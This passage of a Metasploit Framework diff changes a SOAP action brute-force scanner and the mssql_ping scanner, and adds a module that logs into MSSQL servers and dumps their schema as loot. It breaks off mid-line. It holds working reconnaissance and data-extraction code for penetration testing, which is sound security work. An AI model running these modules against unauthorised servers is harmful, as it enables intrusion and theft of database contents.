- :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
- )
- if datastore['DISPLAYHTML']
- print_status("The HTML content follows:")
- print_status(res.body + "\r\n")
- end
- end
- end
- end
- end
-
- else
- print_status("Server did not respond with 200 OK.")
- print_status(res.to_s)
- end
- rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
- rescue ::Timeout::Error, ::Errno::EPIPE
+ verbs.each do |v|
+ nouns.each do |n|
+ data_parts = []
+ data_parts << "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
+ data_parts << "<soap:Envelope xmlns:xsi=\"#{datastore['XMLINSTANCE']}\" xmlns:xsd=\"#{datastore['XMLSCHEMA']}\" xmlns:soap=\"#{datastore['XMLSOAP']}\">"
+ data_parts << "<soap:Body>"
+ data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">"
+ data_parts << "</#{v}#{n}>"
+ data_parts << "</soap:Body>"
+ data_parts << "</soap:Envelope>"
+ data_parts << nil
+ data_parts << nil
+ data = data_parts.join("\r\n")
+
+ res = send_request_raw({
+ 'uri' => datastore['PATH'] + '/' + v + n,
+ 'method' => 'POST',
+ 'vhost' => vhost,
+ 'data' => data,
+ 'headers' =>
+ {
+ 'Content-Length' => data.length,
+ 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
+ 'Expect' => '100-continue',
+ 'Content-Type' => datastore['CONTENTTYPE'],
+ }
+ }, 15)
+
+ if (res && !(res.body.empty?))
+ if ((not reject_regexen.select { |r| res.body =~ r }.empty?))
+ print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
+ elsif (res.message =~ /Cannot process the message because the content type/)
+ print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
+ res.message =~ /was not the expected type\s\'([^']+)'/
+ print_status("Set CONTENTTYPE to \"#{$1}\"")
+ return false
+ elsif (res.code == 404)
+ print_status("Server returned HTTP 404 for #{datastore['PATH']}. Use a different one.")
+ return false
+ else
+ print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
+ ## Add Report
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :sname => (ssl ? 'https' : 'http'),
+ :port => rport,
+ :type => "SOAPAction: #{v}#{n}",
+ :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
+ )
+ if datastore['DISPLAYHTML']
+ print_status("The HTML content follows:")
+ print_status(res.body + "\r\n")
+ end
+ end
+ end
+ select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0)
+ end
+ end
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
+ print_error(e)
end
end
end
View
19 modules/auxiliary/scanner/mssql/mssql_ping.rb
@@ -40,18 +40,19 @@ def run_host(ip)
begin
info = mssql_ping(2)
- if (info['ServerName'])
- print_status("SQL Server information for #{ip}:")
- info.each_pair { |k,v|
- print_status(" #{k + (" " * (15-k.length))} = #{v}")
- }
- if info['tcp']
- report_mssql_service(ip,info)
+ print_status info.inspect
+ if info and not info.empty?
+ info.each do |instance|
+ if (instance['ServerName'])
+ print_status("SQL Server information for #{ip}:")
+ instance.each_pair {|k,v| print_good(" #{k + (" " * (15-k.length))} = #{v}")}
+ if instance['tcp']
+ report_mssql_service(ip,instance)
+ end
+ end
end
-
end
-
rescue ::Rex::ConnectionError
end
end
View
132 modules/auxiliary/scanner/mssql/mssql_schemadump.rb
@@ -0,0 +1,132 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'yaml'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::MSSQL
+ include Msf::Auxiliary::Report
+
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'MSSQL Schema Dump',
+ 'Description' => %Q{
+ This module attempts to extract the schema from a MSSQL Server
+ Instance. It will disregard builtin and example DBs such
+ as master,model,msdb, and tempdb. The module will create
+ a note for each DB found, and store a YAML formatted output
+ as loot for easy reading.
+ },
+ 'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
+ 'License' => MSF_LICENSE
+ )
+ end
+
+ def run_host(ip)
+
+ if (not mssql_login_datastore)
+ print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
+ return
+ end
+
+ #Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
+ instancename = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1]
+ print_status("Instance Name: #{instancename.inspect}")
+ version = mssql_query(mssql_sql_info())[:rows][0